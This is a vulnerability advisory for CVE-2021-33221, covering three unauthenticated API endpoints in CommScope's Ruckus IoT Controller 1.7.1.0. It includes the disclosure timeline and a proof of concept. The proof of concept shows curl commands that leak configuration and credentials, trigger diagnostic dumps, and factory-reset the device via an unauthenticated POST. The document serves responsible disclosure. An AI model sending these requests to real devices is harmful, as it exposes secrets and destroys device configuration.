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CommScope Ruckus IoT Controller 1.7.1.0 Unauthenticated API Endpoints Vulnerability
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CommScope Ruckus IoT Controller 1.7.1.0 Unauthenticated API Endpoints 1. Vulnerability Details Affected Vendor: CommScope Affected Product: Ruckus IoT Controller Affected Version: 1.7.1.0 and earlier Platform: Linux CWE Classification: CWE-306: Missing Authentication for Critical Function CVE ID: CVE-2021-33221 2. Vulnerability Description Three API endpoints for the IoT Controller are accessible without authentication. Two of the endpoints result in information leakage and consumption of computing/storage resources. The third API endpoint that does not require authentication allows for a factory reset of the IoT Controller. 3. Technical Description A "service details" API endpoint discloses system and configuration information to an attacker without requiring authentication. This information includes DNS and NTP servers that the devices uses for time and host resolution. It also includes the internal hostname and IoT Controller version. A fully configured device in production may leak other, more sensitive information (API keys and tokens). Another API endpoint that can be accessed without authentication can be used to generate diagnostic/support files. The process of generating these diagnostic files consumes CPU and disk utilization. The files can be retrieved, but are encrypted. The third API endpoint that can be accessed without authentication will reset the virtual appliance back in to a factory reset condition - removing the current configuration of the device. 4. Mitigation and Remediation Recommendation The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at: https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf 5. Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. 6. Disclosure Timeline 2021.03.30 - KoreLogic submits vulnerability details to CommScope. 2021.03.30 - CommScope acknowledges receipt and the intention to investigate. 2021.04.06 - CommScope notifies KoreLogic that this issue, along with several others reported by KoreLogic, will require more than the standard 45 business day remediation timeline. 2021.04.06 - KoreLogic agrees to extend disclosure embargo if necessary. 2021.04.30 - CommScope informs KoreLogic that remediation for this vulnerability will be available inside of the standard 45 business day timeline. Requests KoreLogic acquire CVE number for this vulnerability. 2021.05.14 - 30 business days have elapsed since the vulnerability was reported to CommScope. 2021.05.17 - CommScope notifies KoreLogic that the patched version of the firmware will be available the week of 2021.05.24. 2021.05.19 - KoreLogic requests CVE from MITRE. 2021.05.19 - MITRE issues CVE-2021-33221. 2021.05.25 - CommScope releases firmware 1.8.0.0 and associated advisory. 2021.05.26 - KoreLogic public disclosure. 7. Proof of Concept https://192.168.2.220/service/v1/service-details $ curl -k https://192.168.2.220/service/v1/service-details {"message": {"ok": 1, "data": {"visionline_password": "sym", "is_vm": true, "dns2": "8.8.4.4", "ibm_gateway_token": "-", "ntp_server": "ntp.ubuntu.com", "visionline_username": "sym", "vm_reset_pwd": "0", "gateway": "192.168.2.254", "visionline_ip": "-", "netmask": "255.255.255.0", "ip_address": "192.168.2.220", "hostname": "vriot", "version": "1.6.0.0.42", "ntp_state": "1", "ibm_enabled": "0", "visionline_port": "443", "ibm_org_id": "-", "vm_n1_mode": "0", "aa_enabled": "0", "ibm_api_token": "-", "cert_expire": "Oct 21 10:09:23 2030 GMT", "common_name": "local-mqtt.video54.local", "dns": "8.8.8.8", "ibm_gateway_type": "-", "ibm_gateway_id": "-", "ibm_api_key": "-", "ipv4_mode": "1", "datetime": "01/07/2021 18:46:13"}}} https://192.168.2.220/service/v1/diagnostic $ curl -k https://192.168.2.220/service/v1/diagnostic {"message": {"fileName": "/static/diagnostic/diagnostic_2021-01-07-18-46-58.tar.gz", "ok": 1}} A POST to the /reset URL does not require authentication: @app.route('/reset',methods=["POST"]) def reset(): """ Resets the system to factory condition. """ This was tested and confirmed. $ curl -k https://192.168.2.220/reset -X POST curl: (52) Empty reply from server $ $ ping 192.168.2.220 PING 192.168.2.220 (192.168.2.220) 56(84) bytes of data. From 192.168.2.99 icmp_seq=1 Destination Host Unreachable ^C --- 192.168.2.220 ping statistics --- 3 packets transmitted, 0 received, +1 errors, 100% packet loss, time 2014ms # 0day.today [2024-09-28] #